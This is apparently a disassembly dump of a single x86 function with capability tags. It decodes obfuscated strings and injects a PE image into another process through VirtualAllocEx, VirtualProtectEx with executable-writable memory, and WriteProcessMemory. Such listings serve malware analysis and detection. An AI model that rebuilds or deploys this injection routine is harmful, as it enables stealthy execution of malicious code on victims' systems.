Function at 0x428ae0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x488e07
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x5a8
mov eax, dword [0x4a2400]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x1c4], esi
mov edi, ecx
mov dword [ebp - 0x118], edi
mov eax, 0x5a4d
cmp word [esi], ax
je 0x428cc9
mov dword [ebp - 0x48], 0x52a0e4e0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0x25f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x48], 0xd100a992
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x104], ecx
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x108], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428c00
sub ecx, edx
lea eax, [ebp - 0xf0]
push ecx
push eax
lea ecx, [ebp - 0x188]
call fcn.00413c60
mov dword [ebp - 4], 0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 9
push edi
call esi
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call esi
cmp dword [ebp - 0x174], 0xf
lea edx, [ebp - 0x188]
push dword [ebp - 0x178]
cmova edx, dword [ebp - 0x188]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call esi
mov ecx, dword [ebp - 0x174]
cmp ecx, 0xf
jbe 0x42cb75
mov edx, dword [ebp - 0x188]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cb6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42cb6b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov eax, dword [esi + 0x3c]
mov ecx, 0x14c
add eax, esi
mov dword [ebp - 0x144], eax
cmp word [eax + 4], cx
je 0x428dc8
mov dword [ebp - 0x48], 0x52a0e4e0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0x25f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x48], 0xd100a993
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x104], ecx
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x108], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428da0
sub ecx, edx
lea eax, [ebp - 0xf0]
push ecx
push eax
lea ecx, [ebp - 0x188]
call fcn.00413c60
mov dword [ebp - 4], 1
jmp 0x428c23
push 4
push 0x3000
push dword [eax + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov dword [ebp - 0x148], ecx
test ecx, ecx
jne 0x4291bf
mov dword [ebp - 0x48], 0x1df2bc8c
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x2b]
mov dword [ebp - 0xf4], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0xf4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0xf4], eax
test eax, eax
jne 0x428e91
push ecx
lea eax, [ebp - 0x2b]
push eax
push esi
lea ecx, [ebp - 0x4f0]
call fcn.00412e10
mov dword [ebp - 4], 2
mov dword [ebp - 0x48], 0x52a0e4e0
mov dword [ebp - 0x44], 0x24f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x48], 0xf920999a
mov dword [ebp - 0x44], 0xc582aab
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x48], 0xd701a77d
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x48], 0xd7018747
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x140]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x124], ecx
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x128], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0xb0], xmm1
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429010
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x4f0]
call fcn.00416370
mov dword [ebp - 0x348], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x358], xmm0
mov dword [ebp - 0x344], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x358], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x348], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp - 0x358]
lea ecx, [ebp - 0x400]
call fcn.004128d0
add esp, 4
mov esi, eax
push 0xfffffffffffffff5
mov byte [ebp - 4], 4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 9
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x4290df
mov esi, dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push eax
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [ebp - 0x3ec]
cmp ecx, 0xf
jbe 0x429134
mov edx, dword [ebp - 0x400]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42912a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x344]
mov dword [ebp - 0x3f0], 0
mov dword [ebp - 0x3ec], 0xf
mov byte [ebp - 0x400], 0
cmp ecx, 0xf
jbe 0x429189
mov edx, dword [ebp - 0x358]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42917f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 0xf
mov byte [ebp - 0x358], 0
cmp ecx, 0xf
jbe 0x42cb75
mov edx, dword [ebp - 0x4f0]
inc ecx
jmp 0x428ca1
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0
push eax
mov eax, dword [ebp - 0x144]
push 0x40
push dword [eax + 0x50]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ecx
push edi
mov dword [ebp - 0x1dc], eax
call eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov dword [ebp - 0xe0], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1000
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x148]
push esi
push eax
mov dword [ebp - 0xd8], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 1
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0x114], eax
call eax
test eax, eax
jne 0x429641
mov dword [ebp - 0x48], 0x1df2bc8c
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x2b]
mov dword [ebp - 0xf4], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0xf4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0xf4], eax
test eax, eax
jne 0x4292f3
push ecx
lea eax, [ebp - 0x2b]
push eax
push esi
lea ecx, [ebp - 0x508]
call fcn.00412e10
mov dword [ebp - 4], 5
mov dword [ebp - 0x48], 0x52a0e4e0
mov dword [ebp - 0x44], 0x24f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x48], 0xf920999b
mov dword [ebp - 0x44], 0xc582aab
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x48], 0xd701a77d
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x48], 0xd7018747
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x140]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x124], ecx
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x128], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0xb0], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429470
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x508]
call fcn.00416370
mov dword [ebp - 0x330], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x340], xmm0
mov dword [ebp - 0x32c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x340], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x330], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 6
push eax
lea edx, [ebp - 0x340]
lea ecx, [ebp - 0x418]
call fcn.004128d0
add esp, 4
mov esi, eax
push 0xfffffffffffffff5
mov byte [ebp - 4], 7
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 9
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x42953f
mov esi, dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push eax
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [ebp - 0x404]
cmp ecx, 0xf
jbe 0x429594
mov edx, dword [ebp - 0x418]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42958a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x32c]
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x404], 0xf
mov byte [ebp - 0x418], 0
cmp ecx, 0xf
jbe 0x4295e9
mov edx, dword [ebp - 0x340]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4295df
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x4f4]
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x32c], 0xf
mov byte [ebp - 0x340], 0
cmp ecx, 0xf
jbe 0x429abe
mov edx, dword [ebp - 0x508]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429ab4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x429ab4
jmp 0x428cc3
mov eax, dword [ebp - 0x144]
xor edi, edi
movzx esi, word [eax + 0x14]
add esi, 0x2c
cmp word [eax + 6], di
je 0x42969b
add esi, eax
mov eax, dword [esi - 4]
test eax, eax
je 0x429689
push 0
push eax
mov eax, dword [esi]
add eax, dword [ebp - 0x1c4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x148]
push eax
push dword [ebp - 0x118]
call dword [ebp - 0x114]
test eax, eax
je 0x429adc
mov eax, dword [ebp - 0x144]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jne 0x429658
mov edi, dword [ebp - 0x118]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x3000
push 0x1c
push 0
push edi
call esi
mov dword [ebp - 0x1b4], eax
test eax, eax
jne 0x429ed1
mov dword [ebp - 0x48], 0x1df2bc8c
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x2b]
mov dword [ebp - 0xf4], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0xf4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0xf4], eax
test eax, eax
jne 0x429770
push ecx
lea eax, [ebp - 0x2b]
push eax
push esi
lea ecx, [ebp - 0x520]
call fcn.00412e10
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x48], 0x52a0e4e0
mov dword [ebp - 0x44], 0x24f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x48], 0xf9209999
mov dword [ebp - 0x44], 0xc582aab
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x48], 0xd701a77d
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x48], 0xd7018747
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x140]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x124], ecx
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x128], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0xb0], xmm1
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4298f0
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x520]
call fcn.00416370
mov dword [ebp - 0x378], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x388], xmm0
mov dword [ebp - 0x374], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x388], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x378], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0xc
push eax
lea edx, [ebp - 0x388]
lea ecx, [ebp - 0x430]
call fcn.004128d0
add esp, 4
mov esi, eax
push 0xfffffffffffffff5
mov byte [ebp - 4], 0xd
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 9
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x4299bf
mov esi, dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push eax
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [ebp - 0x41c]
cmp ecx, 0xf
jbe 0x429a14
mov edx, dword [ebp - 0x430]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429a0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x41c], 0xf
mov byte [ebp - 0x430], 0
cmp ecx, 0xf
jbe 0x429a69
mov edx, dword [ebp - 0x388]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429a5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x374], 0xf
mov byte [ebp - 0x388], 0
cmp ecx, 0xf
jbe 0x429abe
mov edx, dword [ebp - 0x520]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429ab4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
push 0x8000
push 0
push dword [ebp - 0x148]
push dword [ebp - 0x118]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x42cb75
mov dword [ebp - 0x48], 0x1df2bc8c
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea esi, [ebp - 0x2b]
mov dword [ebp - 0xf4], ecx
